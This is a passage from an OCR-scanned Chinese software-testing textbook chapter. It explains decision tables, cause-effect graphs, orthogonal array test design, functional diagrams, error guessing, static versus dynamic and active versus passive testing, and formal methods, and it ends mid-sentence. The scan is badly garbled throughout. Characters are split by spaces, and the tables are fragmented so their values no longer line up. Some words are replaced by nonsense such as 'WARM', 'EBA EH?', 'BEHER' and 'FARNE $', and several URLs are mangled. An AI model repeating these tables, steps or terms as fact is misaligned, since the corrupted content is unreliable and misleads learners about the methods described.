。 条 件 项 : 针对 所 列 条 件 的 具体 赋值 , 即 每 个 条 件 可 以 取 真 值 和 假 值 。 

。 动作 项 : 列 出 在 条 件 项 (各 种 取 值 ) 组 合 情 况 下 应 该 采取 的 动作 。 

。 规则 : 任何 一 个 条 件 组 合 的 特定 取 值 及 其 相应 要 执行 的 操作 。 在 判定 表 中 贯穿 条 

件 项 和 动作 项 的 一 列 就 是 一 条 规则 。 

判定 表 制 定 一 般 经 过 下 面 4 个 步骤 : 

(1) 列 出 所 有 的 条 件 桩 和 动作 桩 ; 

(2) WARM; 

(3) 填 人 动作 项 ,制定 初始 判定 表 ; 

(4) 简化 ,合并 相似 规则 或 者 相同 动作 。 

仍 以 上 述 * 打 印 机 打印 文件 ?为 例子 来 说 明 , 如 何 制定 判定 表 。 首 先 列 出 所 有 的 条 件 桩 
和 动作 桩 ,为 了 简化 问题 ,不 考虑 中 途 断 电 、 卡 纸 等 因素 的 影响 ,那么 条 件 桩 为 : 

(1) 驱动 程序 是 否 正确 ? 

(2) 是 否 有 纸张 ? 

(3) EBA EH? 

而 动作 柱 有 两 种 : 打印 内 容 和 不 同 的 错误 提示 ,而 且 假定 : 优先 警告 缺 纸 ,然后 警告 没 
有 墨 粉 ,最 后 警告 驱动 程序 不 对 。 然 后 输入 条 件 项 , 即 上 述 每 个 条 件 的 值 分 别 取 “是 (Y)” 和 
“ 否 (N)”, 可 以 简化 表示 为 1 和 0。 根 据 条 件 项 的 组 合 ,容易 确定 其 活动 ,如 表 3-12 所 示 。 
如 果 结 果 一 样 , 某 些 因 素 取 “1” 或 “0” 没 有 影响 , 即 以 “一 ”表示 ,可 以 合并 这 两 项 ,最 终 优化 判 
定 表 如 表 3-13 所 示 。 根 据 表 3-13 ,就 可 以 设计 测试 用 例 , 每 一 列 代表 一 条 测试 用 例 。 

表 3-12 初始 化 的 判定 表 
序 号 1 3 
驱动 程序 是 否 正确 ? 1 
条 件 是 否 有 纸张 ? 1 
是 否 有 墨 粉 ? 1 
打印 内 容 1 
提示 驱动 程序 不 对 0 
0 
0 
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表 3-13 优化 的 判定 表 
序 号 1 
驱动 程序 是 否 正确 ? 
条 件 是 否 有 纸张 ? 
是 否 有 墨 粉 ? 
打印 内 容 
提示 驱动 程序 不 对 
提示 没有 纸张 
提示 没有 墨 粉 


4/6 3/7/8 


动作 
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3.2.4 因果 图 法 


因果 图 法 (Cause-effect Diagram) 借 助 图 形 ,着 重 分 析 输 入 条 件 的 各 种 组 合 , 每 种 组 合 
条 件 就 是 “ 因 ”, 它 必然 有 一 个 输出 的 结果 ,这 就 是 “ 果 ”。 因 果 图 是 一 种 形式 化 的 图 形 语 
言 , 由 自然 语言 写成 的 规范 转换 而 成 ,这 种 形式 语言 实际 上 是 一 种 使 用 简化 记号 表示 
数字 逻辑 图 ,不 仅 能 发 现 输入 .输出 中 的 错误 ,还 能 指出 程序 规范 中 的 不 完全 性 和 二 义 
性 。 因 果 图 法 就 是 一 种 利用 图 解法 分 析 输 入 的 各 种 组 合 情 况 ,有 时 还 要 依赖 所 生成 的 
判定 表 。 

由 因果 图 法 怎样 生成 测试 用 例 呢 ? 如 图 3-7 所 示 ,经 过 以 下 4 个 步骤 。 


人 输入 输出 数据 之 间 的 关系 

不 同 组 合 间 的 关联 、 约束 
或 现在 条 件 ， 形 成 因果 图 

1 

转换 将 因果 图 转换 成 判定 表 

1 

输出 从 判定 表 导 出 测试 用 例 


图 3-7 因果 图 法 示例 


(1) 分 析 软 件 规格 说 明 书 中 的 输入 输出 条 件 并 分 析出 等 价 类 ,将 每 个 输入 输出 赋予 一 
个 标识 符 ; 分 析 规 格 说 明 中 的 语义 ,通过 这 些 语义 来 找 出 相对 应 的 输入 与 输入 之 间 , 输 入 与 
输出 之 间 的 关系 。 

(2) 将 对 应 的 输入 输出 之 间 , 输 入 与 输出 之 间 的 关系 关联 起 来 ,并 将 其 中 不 可 能 的 组 合 
情况 标注 成 约束 或 者 限制 条 件 , 形 成 因果 图 。 

(3) 由 因果 图 转化 成 判定 表 。 

(4) 将 判定 表 的 每 一 列 拿 出 来 作为 依据 ,设计 测试 用 例 。 

例如 : 某 个 软件 规格 说 明 中 包含 以 下 要 求 : 第 一 列 字符 必须 是 A 或 B, 第 二 列 字符 必 
须 是 一 个 数字 ,在 此 情况 下 进行 文件 的 修改 ; 但 如 果 第 一 列 字 符 不 正确 , 则 输出 信息 L; 如 
果 第 二 列 字符 不 是 数字 , 则 给 出 信息 M。 采 用 因果 图 方法 进行 分 析 , 可 根据 表 3-14 获得 
图 3-8 的 各 种 组 合 , 其 中 人 表示 “或 "、V 表示 “与 ”和 中 表示 “ 非 ” 的 关系 。 

表 3-14 因果 关系 表 


编号 原因 (Cause) 编号 结果 (Effect) 
cl 第 一 列 字符 是 A El 修改 文件 
C2 第 一 列 字符 是 B E2 给 出 信息 工 
C3 第 二 列 字 符 是 一 个 数字 E3 给 出 信息 M 
11 中 间 原 因 


根据 图 3-8 可 以 制定 一 张 判定 表 ,3 个 因素 共有 
8 种 组 合 ,考虑 到 C1( 首 字符 是 A) 成 立时 ,C2( 首 字符 
是 B) 就 不 能 成 立 , 此 时 变 成 6 种 组 合 , 如 表 3-15 所 
示 。 可 以 根据 判定 表 来 设计 测试 用 例 , 每 一 列 就 代表 
一 个 测试 用 例 , 共 设计 6 个 测试 用 例 。 但 实际 上 ,还 
可 以 进一步 优化 ,由 于 第 2 字母 不 是 数字 时 ,第 一 字 
母 不 管 是 A 或 是 B, 或 A、B 都 不 是 ,结果 都 一 样 , 即 图 3-8 因果 图 表示 
E3 成 立 。 所 以 表 3-15 可 进一步 优化 为 4 种 组 合 , 即 
4 个 测试 用 例 , 如 表 3-16 所 示 。 


表 3-15 图 3-8 的 判定 表 


序号 1 2 3 4 5 6 
Çi Í 0 0 1 0 0 
原因 C2 0 1 0 0 1 0 
C3 i 1 0 0 0 
El 1 1 0 0 0 0 
结果 E2 0 0 1 0 0 0 
E3 0 0 0 1 1 
表 3-16 优化 后 的 判定 表 
序 号 1 2 3 4/5/6 
cl 1 0 0 一 
原因 C2 0 1 0 = 
C3 1 1 1 0 
El 1 1 0 0 
结果 E2 0 0 il 0 
E3 0 0 0 1 
用 例 首 字 符 为 A 首 字 符 为 B 首 字符 为 x 首 字符 为 A 或 B 或 
第 2 字符 为 数字 | 第 2 字符 为 数字 | 第 2 字符 为 数字 | x, 第 2 字符 不 是 数字 


3.2.5 正 交 试验 法 


在 许多 应 用 系统 的 测试 工作 中 ,不 会 像 3. 2. 4 小 节 中 的 例子 那么 简单 ,只 有 3 一 4 个 因 
素 , 每 个 因素 只 有 两 种 情况 “是 ”或 “ 否 ”, 而 实际 项 目 中 ,输入 条 件 的 因素 很 多 ,而 且 每 个 
因素 也 不 能 简单 用 “是 ”或 “ 否 ” 来 回答 。 例 如 ,微软 PowerPoint 程序 的 打印 测试 ,也 需要 考 
虑 4 个 因素 ,每 个 因素 又 有 多 个 选项 。 

。 打印 范围 : 分 全 部 .当前 幻灯 片 .给 定 范围 。 

。 打印 内 容 : 分 幻灯 片 讲义、 备注 页 .大纲 视图 。 

。 打印 颜色 / 灰 度 : 分 彩色 、 灰 度 、 黑 白 。 

。 打印 效果 : 分 幻灯 片 加 框 和 幻灯 片 不 加 框 。 

这 样 ,测试 组 合 会 变 得 很 多 ,而 导致 很 大 的 工作 量 。 要 解决 这 样 的 问题 ,就 需要 采用 正 
交 实 验 设计 方法 (Orthogonal Test Design Method. OTDM)。 正 交 实 验 设 计 方法 是 依据 


Galois 理论 ,从 大 量 的 (实验 ) 数 据 ( 测 试 例 ) 中 挑选 适量 的 有 代表 性 的 点 (条 件 组 合 ) ,从 而 
合理 地 安排 实验 (测试 ) 的 一 种 科学 实验 设计 方法 。 

1. 确定 影响 功能 的 因子 与 状态 

首先 要 根据 被 测试 软件 的 规格 说 明 书 ,确定 影响 某 个 相对 独立 的 功能 实现 的 操作 对 象 
和 外 部 因素 ,并 把 这 些 影响 测试 结果 的 条 件 因素 作为 因子 (factors) ,而 把 各 个 因子 的 取 值 作 
为 当 作 状 态 ,状态 数 称 为 水 平 数 (levels) 。 即 确定 : 

。 有 哪些 因素 (变量 )? 其 因子 数 是 多 少 ? 

。 每 个 因素 有 哪些 取 值 ? 其 水 平 数 是 多 少 ? 

对 因子 与 状态 的 选择 可 按 其 重要 程度 分 别 加 权 。 可 根据 各 个 因子 及 状态 的 作用 大 小 ， 
出 现 频 率 的 大 小 以 及 测试 的 需要 ,确定 权 值 的 大 小 。 

2. 选择 一 个 合适 的 正 交 表 

根据 因子 数 和 最 大 水 平 数 .最 小 水 平 数 ,选择 一 个 测试 (Run) 次 数 最 少 的 .最 适合 的 正 交 
表 。 正 交 表 是 正 交 试 验 设 计 的 基本 工具 , 它 是 通过 运用 数学 理论 在 拉丁 方 和 正 交 拉丁 方 的 基 
础 上 构造 而 成 的 规格 化 表格 ,可 以 参考 http://www. math. hkbu. edu. hk/UniformDesign 或 
http://www. research, att. com/ 一 njas。 一 般 用 世 代表 正 交 表 , 常 用 的 有 Ls (27) L GO, 
Le(45) 等 。 例 如 Ls(27) 中 的 7 为 因子 数 ( 即 正 交 表 的 列 数 )，2 为 因子 的 水 平 数 ; 8 为 测试 
次 数 ( 即 正 交 表 的 行 数 ) 。 现 在 ,还 可 以 使 用 相应 工具 软件 (如 正 交 设 计 助 手 ID) 来 帮助 决策 
和 应 用 。 

3. 利用 正 交 表 构 造 测试 数据 集 

。 把 变量 的 值 映射 到 表 中 ,为 剩 下 的 水 平 数 选取 值 。 

。 把 每 一 行 的 各 因素 水 平 的 组 合作 为 一 个 测试 用 例 。 再 增加 一 些 没有 生成 的 但 可 疑 

的 测试 用 例 。 

在 使 用 正 交 表 来 设计 测试 用 例 时 ,需要 考虑 不 同 的 情况 ,例如 因子 数 和 水 平 数 相符 、 水 
平 数 不 相符 等 。 

。 如 果 因子 数 不 同 ,可 以 采用 包含 的 方法 。 在 正 交 表 公式 中 找到 包含 该 情况 的 公式 ， 

MRA N 个 符合 条 件 的 公式 ,那么 选取 行 数 最 少 的 公 

。 如 果 水 平 数 不 等 ,采用 包含 和 组 合 的 方法 选取 合适 的 正 交 表 公 式 。 

4. 示例 

在 企业 信息 系统 中 ,员工 信息 查询 功能 是 常见 的 。 例 如 , 设 有 3 个 独立 的 查询 条 件 , 以 
获得 特定 员工 的 个 人 信息 。 

。 员工 号 (ID) 。 

。 员工 姓名 (Name) 。 

。 员工 邮件 地 址 (Mail Address) 。 

即 有 3 个 因子 ,每 个 因素 可 以 填 , 也 可 以 不 填 ( 空 ), 即 水 平 数 为 2。 根据 因子 数 是 3、 水 
平 数 是 2 和 行 数 取 最 小 值 , 所 以 选择 L, (2)。 这 样 就 可 以 构造 正 交 表 , 如 图 3-9 左 图 所 示 。 
根据 左边 的 结果 ,很 容易 得 到 所 需 的 测试 用 例 , 如 图 3-9 右 图 所 示 , 这 样 基本 测试 用 例 设计 
完成 。 如 果 考 虑 一 些 特殊 情况 ,再 增加 一 个 测试 用 例 , 即 3 项 内 容 都 为 空 , 直 接 单 击 “ 查 询 ” 
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功能 ,进行 查询 。 


因子 数 查询 条 件 
1|213 员工 号 | 姓名 | 邮件 地 址 
水 |1|11|1 测 |1 | A 填 填 
Pa 2[1]o[o mc 一 一 前 2 | 填 空 空 
“T3folilo 例 |3| a |s z 
4|oļofi 4 | 3 空 填 


图 3-9 正 交 表 构建 并 转化 为 测试 用 例 


从 图 3-9 中 可 以 看 出 ,如 果 按 每 个 因素 两 个 水 平 数 来 考虑 ,需要 8 个 测试 用 例 ,而 通过 
正 交 实验 法 来 设计 测试 用 例 只 有 5 个 ,有 效 地 减少 了 测试 用 例 数 ,而 测试 效果 是 非常 接近 
的 , 即 用 最 小 的 测试 用 例 集合 去 获取 最 大 的 测试 覆盖 率 。 对 于 因子 数 、 水 平 数 较 高 的 情 
况 ,测试 组 合 数 会 很 多 , 正 交 实验 法 的 优势 更 能 体现 出 来 ,可 以 大 大 降低 测试 用 例 数 , 降 
低 工 作 量 。 


3.2.6 功能 图 法 


一 个 程序 的 功能 通常 由 静态 说 明和 动态 说 明 组 成 ,动态 说 明 描 述 了 输入 数据 的 次 序 或 
者 转移 的 次 序 ; 静态 说 明 描 述 了 输入 条 件 和 输出 条 件 之 间 的 对 应 关系 。 对 于 比较 复杂 的 程 
序 ,由 于 大 量 的 组 合 情 况 的 存在 ,如 果 仅 仅 使 用 静态 说 明 来 组 织 测试 往往 是 不 够 的 ,必须 有 
动态 说 明 来 补充 。 功 能 图 法 就 是 因此 而 产生 的 一 种 测试 用 例 设 计 方法 。 
功能 图 法 就 是 使 用 功能 图 形式 化 地 表示 程序 的 功能 说 明 , 并 机 械 地 生成 功能 图 的 测试 
用 例 。 功 能 图 模型 由 状态 迁移 图 和 逻辑 功能 模型 组 成 。 其 中 
。 状态 迁移 图 用 于 表示 输入 数据 序列 以 及 相应 的 输出 数据 ,由 输入 和 当前 的 状态 决定 
输出 数据 和 后 续 状 态 ; 
。 逻辑 功能 模型 用 于 表示 状态 输入 条 件 和 输出 条 件 之 间 的 对 应 关系 。 逻 辑 功 能 模型 
只 适合 于 描述 静态 说 明 ,输出 数据 仅仅 由 输入 数据 决定 。 
测试 用 例 需 要 覆盖 一 系列 的 系统 状态 ,并 依靠 输入 输出 数据 满足 的 一 对 条 件 来 触发 每 
个 状态 的 发 生 。 下 面 举 个 例子 来 说 明 ,假设 我 们 做 Windows 的 屏幕 保护 程序 测试 (有 密码 
保护 功能 ) ,图 3-10、 图 3-11 和 表 3-17 分 别 呈现 了 程序 流程 图 、 状 态 迁 移 图 以 及 对 应 的 逻辑 
功能 表 。 


空间 状态 


Esc 键 按 下 
| 显示 密码 输入 框 
等 待 输入 密码 ”一 一 一 


不 正确 的 密码 
正确 的 密码 请 空 密码 输入 杠 
屏幕 初始 化 了 
图 3-10 程序 流程 图 


Esc 键 按 下 正确 的 密码 输入 


D 


图 3-11 状态 迁移 图 


表 3-17 BEHER 


Esc 键 按 下 Il 
其 他 键 按 下 12 
a 正确 的 密码 输入 B 
错误 的 密码 输入 14 
显示 密码 输入 框 Ol 
is 密码 错误 提示 信息 02 
空闲 状态 Sl 
状态 等 待 输 入 密码 S2 
返回 空闲 状态 S3 
初始 化 屏幕 S4 


接 下 来 ,需要 利用 功能 图 来 生成 测试 用 例 ,从 逻辑 功能 表 中 ,可 以 根据 所 有 的 输入 输出 
以 及 状态 来 生成 所 需 的 节点 和 路 径 ,形成 实现 功能 图 的 基本 路 径 组 合 。 这 样 ,就 可 以 使 用 前 
面 白 盒 测试 用 例 中 提 到 的 路 径 覆 盖 法 来 设计 测试 用 例 了 。 


3.2.7 错误 推测 法 


有 经 验 的 测试 人 员 往 往 可 以 根据 自己 的 工作 经 验 和 直觉 推测 出 程序 可 能 存在 的 错误 ， 
从 而 有 针对 性 地 进行 测试 ,这 就 是 错误 推测 法 Cerror guess method) ,或 叫 探 索性 测试 方法 
(exploratory test)。 错 误 推 测 法 是 测试 者 根据 经 验 、 知 识 和 直觉 来 发 现 软件 错误 ,来 推测 程 
序 中 可 能 存在 的 各 种 错误 ,从 而 有 针对 性 地 进行 测试 。“ 只 可 意 会 ,不 能 言传 ”, 就 是 表明 这 
样 一 个 道理 。 

错误 推测 法 基于 这 样 一 个 思想 一 一 某 处 发 现 了 缺陷 , 则 可 能 会 隐藏 更 多 的 缺陷 。 在 实际 
操作 中 , 列 出 所 有 可 能 出 现 的 错误 和 容易 发 现 错误 的 地 方 , 然 后 依据 测试 者 经 验 做 出 选择 。 


【示例 一 】 上 个 版 本 发 现 的 缺陷 也 许 对 当前 版 本 测试 有 所 启发 ,进行 类 似 的 探索 新 测试 ,说 不 准 ， 
可 以 发 现 一 些 严重 的 缺陷 。 

【示例 二 】 等 价 类 划分 法 和 边界 值 分 析 法 通过 选择 有 代表 性 的 测试 数据 来 暴露 程序 错误 ,但 不 同类 
型 不同 特点 的 程序 还 存在 其 他 一 些 特殊 的 、 容 易 出 错 的 情况 ,例如 一 些 特殊 字符 (如 * 、%、/\、#、@、 
$$ "、、| 等 ) 被 输入 到 系统 后 产生 例外 情况 。 有 时 ,将 多 个 边界 值 组 合 起 来 进行 测试 ,可 能 使 程序 出 错 。 

【示例 三 】 客户 端 在 正常 连接 时 一 般 没 问题 ,可 以 试 试 断 掉 连 接 , 让 它 重新 连接 看 看 是 否 出 现 系 
统 崩溃 的 情况 ,而 且 可 以 不 断 调整 失去 连接 的 时 间 ,或 者 尝试 不 同 的 连接 次 数 等 ,以 发 现 一 些 例外 。 

【示例 四 】 就 程序 中 容易 出 现 的 问题 ,例如 空 指针 ,内存 没有 及 时 释放 ,session 失效 或 JavaScript 
字符 转 义 等 ,设想 各 种 情况 ,能 否 引 起 上 述 问题 的 发 生 , 从 而 设计 出 一 些 特别 的 测试 用 例 来 发 现 缺 陷 。 


错误 推测 法 能 充分 发 挥 人 的 直觉 和 经 验 ,在 一 个 测试 小 组 中 集思广益 ,方便 实用 ,特别 
是 在 软件 测试 基础 较 差 的 情况 下 ,很 好 地 组 织 测试 小 组 进行 错误 猜测 ,是 一 种 有 效 的 测试 方 
法 。 但 错误 推测 法 不 是 一 个 系统 的 测试 方法 ,所 以 只 能 用 作 辅 助手 段 , 即 先 用 上 述 方法 设计 
测试 用 例 , 再 没有 别 的 办 法 可 用 的 情况 下 ,再 采用 错误 推测 法 ,也 就 是 ,补充 一 些 例子 来 进行 
一 些 额 外 的 测试 。 优 点 是 测试 者 能 够 快速 且 容 易 地 切入 ,并 能 够 体会 到 程序 的 易 用 与 否 ; 
缺点 是 难以 知道 测试 的 覆盖 率 ,可 能 丢失 大 量 未 知 的 区 域 ,并 且 这 种 测试 行为 带 有 主观 性 且 
难以 复制 。 


3.3 静态 测试 和 动态 测试 


根据 程序 是 否 运行 ,测试 可 以 分 为 静态 测试 和 动态 测试 。 早 期 将 测试 局 限于 对 程序 进 
行动 态 测试 ,可 以 看 作 是 狭义 测试 概念 ,而 现在 将 需求 和 设计 的 评审 也 纳入 测试 的 范畴 ,可 
以 看 作 是 广义 测试 概念 或 现代 测试 概念 。 
静态 测试 就 是 静态 分 析 ,对 模块 的 源 代码 进行 研读 ,查找 错误 或 收集 一 些 度量 数据 ,并 
不 需要 对 代码 进行 编译 和 仿真 运行 。 静 态 测试 包 括 对 软件 产品 的 需求 和 设计 规格 说 明 书 
的 评审 、 对 程序 代码 的 复审 等 。 苦 态 分析 的 查 错 和 分 析 功 能 是 其 他 方法 所 不 能 替代 的 ， 
可 以 采用 人 工 检测 和 计算 机 辅助 静态 分 析 手 段 进行 检测 ,但 越 来 越 多 地 采用 工具 进行 自 
动 化 分 析 。 
。 人 工 检测 : 是 指 不 依靠 计算 机 而 完全 靠 人 工 审查 或 评审 软件 。 人 工 检测 偏重 于 编 
码 风 格 、 质 量 的 检验 ,除了 审查 编码 还 要 对 各 阶段 的 软件 产品 进行 检验 。 这 种 方法 
可 以 有 效 地 发 现 逻 辑 设计 和 编码 错误 ,发 现 计算 机 辅助 静态 分 析 不 易 发 现 的 问题 。 

。 计 算 机 辅助 静态 分 析 : 利用 静态 分 析 工 具 对 被 测 程序 进行 特性 分 析 , 从 程序 中 提取 
一 些 信息 ,以便 检 查 程序 逻辑 的 各 种 缺陷 和 可 疑 的 程序 构造 。 如 用 错 的 局 部 变量 和 
全 局 变量 、 不 匹配 的 参数 、 潜 在 的 死 循 环 等 。 静 态 分 析 中 还 可 以 用 符号 代替 数值 求 
得 程序 结果 ,以 便 对 程序 进行 运算 规律 的 检验 。 

动态 测试 是 通过 真正 运行 程序 发 现 错误 ,通过 观察 代码 运行 过 程 , 来 获取 系统 行为 、 
变量 实时 结果 、 内 存 、 堆 栈 、 线 程 以 及 测试 覆盖 度 等 各 方面 的 信息 ,来 判断 系统 是 否 存在 
问题 ,或 者 通过 有 效 的 测试 用 例 ,对 应 的 输入 输出 关系 来 分 析 被 测 程序 的 运行 情况 ,来 发 
现 缺 陷 。 


3.4 主动 测试 和 被 动 测试 


在 软件 测试 中 ,比较 常见 的 方法 是 主动 测试 方法 ,测试 人 员 主 动向 被 测试 对 象 发 送 请 
求 ,或 借助 数据 ,事件 驱动 被 测试 对 象 的 行为 ,从 而 验证 被 测试 对 象 的 反应 或 输出 结果 。 在 
主动 测试 中 ,测试 人 员 和 被 测试 对 象 之 间 发 生 直接 相互 作用 的 关系 ,而 且 被 测试 对 象 完全 受 
测试 人 员 的 控制 ,被 测试 对 象 处 于 测试 状态 ,而 不 是 实际 工作 状态 ,如 图 3-12(a) 所 示 。 

在 主动 测试 中 ,由 于 被 测试 对 象 受 人 为 因素 影响 较 大 ,而 且 一 般 是 在 测试 环境 中 进行 ， 
不 是 在 软件 产品 实际 运行 环境 中 进行 ,所 以 主动 测试 不 适应 产品 在 线 测试 。 为 了 解决 产品 
在 线 测试 ,被 动 测试 方法 应 运 而 生 。 在 被 动 测试 方法 中 ,软件 产品 运行 在 实际 环境 中 ,测试 


测试 人 员 | 被 测试 对 象 
发 送 接收 /检查 发 送 接收 /响应 
žk 发 送 /响应 
补 测 计时 各 接收 /监控 
测试 人 员 
(a) 主动 测试 (b) 被 动 测试 


图 3-12 主动 测试 和 被 动 测试 示意 图 


人 员 不 干预 产品 的 运行 ,而 是 被 动 地 监控 产品 的 运行 ,通过 一 定 的 被 动机 制 来 获得 系统 运行 
的 数据 ,包括 输入 、 输 出 数据 ,如 图 3-12(b) 所 示 。 被 动 测 试 适合 性 能 测试 和 在 线 监控 ,在 组 
入 式 系统 测试 中 ,常常 也 采用 被 动 测试 方法 。 另 外 ,大 规模 的 复杂 系统 的 性 能 测试 ,为 了 节 
省 成 本 ,可 以 采用 这 种 方法 。 

在 主动 测试 中 ,测试 人 员 需 要 设计 测试 用 例 .尽力 设法 输入 各 种 数据 ,而 在 被 动 测试 中 ， 
系统 运行 过 程 中 各 种 数据 自然 而 然 地 产生 了 ,测试 人 员 不 需要 设计 测试 用 例 , 只 要 设法 获得 
系统 运行 的 各 种 数据 ,但 数据 的 完整 性 得 不 到 保证 。 在 被 动 测试 中 ,关键 是 建立 监控 程序 
(代理 ) ,并 通过 数据 分 析 掌 握 系统 的 状态 。 


3.5 形式 化 测试 方法 


在 软件 需求 定义 中 , 当 用 自然 语言 来 描述 时 ,其 语义 不 够 清晰 ,容易 存在 歧义 性 。 需 求 
分 析 的 结果 也 往往 依赖 于 参与 者 的 经 验 和 理解 ,没有 严格 量化 的 标准 。 在 需求 之 后 的 设计 、 
实施 活动 会 受到 影响 ,对 功能 特性 的 验证 缺乏 客观 .定量 的 依据 ,具有 不 确定 性 测试 覆盖 率 
的 度量 不 可 靠 等 问题 。 这 些 问题 ,对 于 一 般 的 应 用 软件 可 以 被 接受 ,但 是 对 于 一 些 非常 关键 
的 软件 应 用 系统 ,如 核电 站 控制 软件 .航天 器 的 控制 系统 和 导弹 防御 系统 等 ,这 些 问题 必须 
得 到 解决 。 

为 了 解决 基于 自然 语言 的 设计 和 描述 所 带 来 的 问题 ,人 们 提出 了 形式 化 方法 。 形 式 化 
方法 的 基础 是 数学 和 逻辑 学 ,通过 严格 的 数字 逻辑 和 形式 语言 来 完成 软件 (需求 .设计 规格 
等 ) 定 义 , 其 结果 语义 清晰 无 歧义 ,然后 可 以 通过 相应 的 工具 实施 自动 化 分 析 、 编 码 和 验证 。 
UML(Unified Modeling Language, 统 一 建 模 语言 ) 可 以 看 作 是 一 种 半 形 式 化 的 方法 ,虽然 
不 能 完全 量化 地 描述 软件 ,但 已 具有 了 和 较 清晰 定义 的 形式 和 部 分 的 语义 定义 ,并 有 相应 的 工 
有 具 可 以 帮助 自动 生成 代码 ,测试 用 例 等 。 


3.5.1 形式 化 方法 


形式 化 方法 实际 上 就 是 基于 数学 的 方法 来 描述 目标 软件 系统 属性 的 一 种 技术 。 不 同 的 
形式 化 方法 的 数学 基础 是 不 同 的 ,例如 : 
© VDM 就 是 基于 一 阶 谓词 逻辑 和 已 建立 的 抽象 数据 类 型 来 描述 每 个 运算 或 函数 的 功 
能 ,从 而 形成 一 种 功能 构造 性 规格 说 明 技术 ; 


。 形式 规格 说 明 语 言 Z 则 是 基于 一 阶 谓词 和 集合 论 的 数学 基础 ,利用 (状态 /操作 ) 模 
式 和 模式 演算 对 目标 软件 系统 的 结构 和 行为 特征 进行 抽象 描述 ; 
。 基于 时 态 逻 辑 的 形式 化 方法 着 重 描述 并 发 系统 中 状态 迁移 序列 ,用 于 刻画 并 发 系统 
所 需 验 证 的 性 质 。 

形式 化 方法 主要 通过 形式 化 规范 语言 (Formal Specification Language, FSL) 来 完成 需 
求 定义 ,设计 ,编程 和 测试 的 描述 ,而 且 这 种 描述 是 通过 数学 方法 实现 的 ,具有 精确 语义 ,所 
以 可 以 保证 描述 的 一 致 性 和 完备 性 等 。 可 以 这 么 说 ,凡是 采用 严格 的 数学 语言 .具有 精确 的 
数学 语义 的 方法 ,都 称 为 形式 化 方法 。 形 式 化 规范 说 明 语言 ,一 般 由 3 个 主要 的 成 分 构成 ， 

(1) 语法 ,定义 用 于 表示 规约 的 特定 符号 ; 

(2) 语义 ,帮助 定义 用 于 描述 系统 的 对 象 及 其 属性 ; 

(3) 一 组 关系 ,定义 如 何 确定 某 个 对 象 是 否 满足 规约 的 规则 。 

形式 化 方法 并 不 是 解决 软件 开发 问题 的 万 能 灵 药 。 它 也 有 缺点 ,也 不 能 保证 不 出 现 错 
误 。 例 如 ,在 非 形式 化 的 客观 需求 与 形式 化 规范 之 间 的 关系 ,难以 很 好 地 处 理 。 从 理论 上 
看 ,通过 对 形式 化 规范 进行 深入 分 析 , 证 明 所 需 性 质 , 但 实际 证 明 比 较 复杂 , 强 有 力 的 支持 形 
式 化 方法 的 工具 仍然 比较 缺乏 。 

形式 化 方法 更 大 的 作用 体现 在 软件 规格 和 验证 上 ,这 包括 软件 系统 的 精确 建 模 和 软件 
规格 特性 的 具体 描述 , 即 可 以 看 作 是 面向 模型 的 形式 化 方法 和 面向 属性 的 形式 化 方法 。 如 
果 进 一 步 进 行 分 类 ,形式 化 方法 可 以 分 为 以 下 几 类 : 

(1) 基于 模型 的 方法 ,通过 明确 定义 状态 和 操作 来 建立 一 个 系统 模型 ,使 系统 从 一 个 状 
态 转换 到 另 一 个 状态 。 用 这 种 方法 虽 可 以 表示 非 功 能 性 需求 (诸如 时 间 需 求 ) ,但 不 能 很 好 
地 表示 并 发 性 。 基 于 这 种 方法 的 语言 有 2Z 语言 .B 语 言 等 。 

(2) 代数 方法 ,通过 联系 不 同 操作 间 的 行为 关系 而 给 出 操作 的 隐 式 定义 ,而 不 定义 状 
态 。 同 样 , 它 也 未 给 出 并 发 的 显 式 表 示 。 这 类 方法 的 形式 化 语言 有 OBJ (http://cseweb. 
ucsd. edu/ 一 goguen/sys/obj. html) .CLEAR ,语义 语言 (Action Semantic Language. ASL) , 
ACT 等 。 

(3) 过 程 代数 方法 ,给 出 并 发 过 程 的 一 个 显 式 模型 ,并 通过 限制 所 有 容许 的 、 可 观察 的 
过 程 间 通信 来 表示 系统 行为 ,如 通信 顺序 过 程 (CSP) 通信 系统 演算 (CCS) .通信 过 程 代数 
(ACP) .时 序 排序 规约 语言 (Language Of Temporal Ordering Specifications LOTOS) ,计时 
CSP(TCSP) .通信 系统 计时 可 能 性 演算 (TPCCS) 等 形式 化 语言 。 

(4) 基于 逻辑 的 方法 ,用 逻辑 描述 系统 预期 的 性 能 ,包括 底层 规约 ,时序 和 可 能 性 行 
为 ,并 采用 与 所 选 逻辑 相关 的 公理 系统 证 明 系 统 具 有 预期 的 性 能 。 它 还 可 采用 有 具体 的 编 
程 构造 扩充 逻辑 从 而 得 到 一 种 广 普 的 形式 化 方法 ,通过 保持 正确 性 的 细 化 步骤 集 来 开发 
系统 。 如 区 间 时 序 逻 辑 (Interval Temporal Logic, ITL) 、Hoare 12 4% , 模 态 逻辑 .时序 逻辑 、 
时 序 代理 模型 (Temporal Agent Model. TAM) .命题 线性 时 序 逻 辑 (Propositional Linear 
Temporal Logic, PLTL) 实时 时 序 逻 辑 (Real Time Temporal Logic. RTTL) FARNE $ 
(Computation Tree Logic,CTL) 等 。 

(5) 基于 网 络 的 方法 ,根据 网 络 中 的 数据 流 显 式 地 给 出 系统 的 并 发 模型 ,包括 数据 在 网 
中 从 一 个 节点 流向 另 一 个 节点 的 条 件 。 采 用 具有 形式 语义 的 图 形 语 言 , 具 有 易 理 解 性 ,如 
Petri 网 ,谓词 变换 网 等 。 


3.5.2 形式 化 验证 


形式 化 验证 ,就 是 根据 某 些 形式 规范 或 属性 ,使 用 数学 方法 (形式 逻辑 方法 ) 证 明 其 正确 
性 或 非 正确 性 。 形 式 化 验证 首先 被 用 于 生成 软件 规格 说 明 书 ,然后 将 其 作为 软件 开发 的 基 
础 和 软件 测试 验证 的 依据 。 因 为 它 是 基于 一 种 严格 定义 的 规范 语言 来 描述 软件 产品 ,这样 
可 以 借助 相应 的 工具 来 完成 软件 产品 的 验证 。 对 形式 化 规范 进行 分 析 和 推理 ,研究 它 的 各 
种 静态 和 动态 性 质 , 验 证 是 否 一 致 .是 否 完整 ,从 而 找 出 所 存在 的 错误 和 缺陷 。 

传统 的 验证 方法 包括 模拟 和 测试 ,都 是 通过 实验 的 方法 对 系统 进行 查 错 。 模拟 和 测试 
分 别 在 系统 抽象 模型 和 实际 系统 上 进行 ,其 一 般 的 方法 是 在 系统 的 某 点 给 予 输入 ,观察 在 另 
一 点 的 输出 ,要 完成 大 量 的 数据 输入 和 输出 结果 的 检查 ,而且 由 于 实验 所 能 涵盖 的 系统 行为 
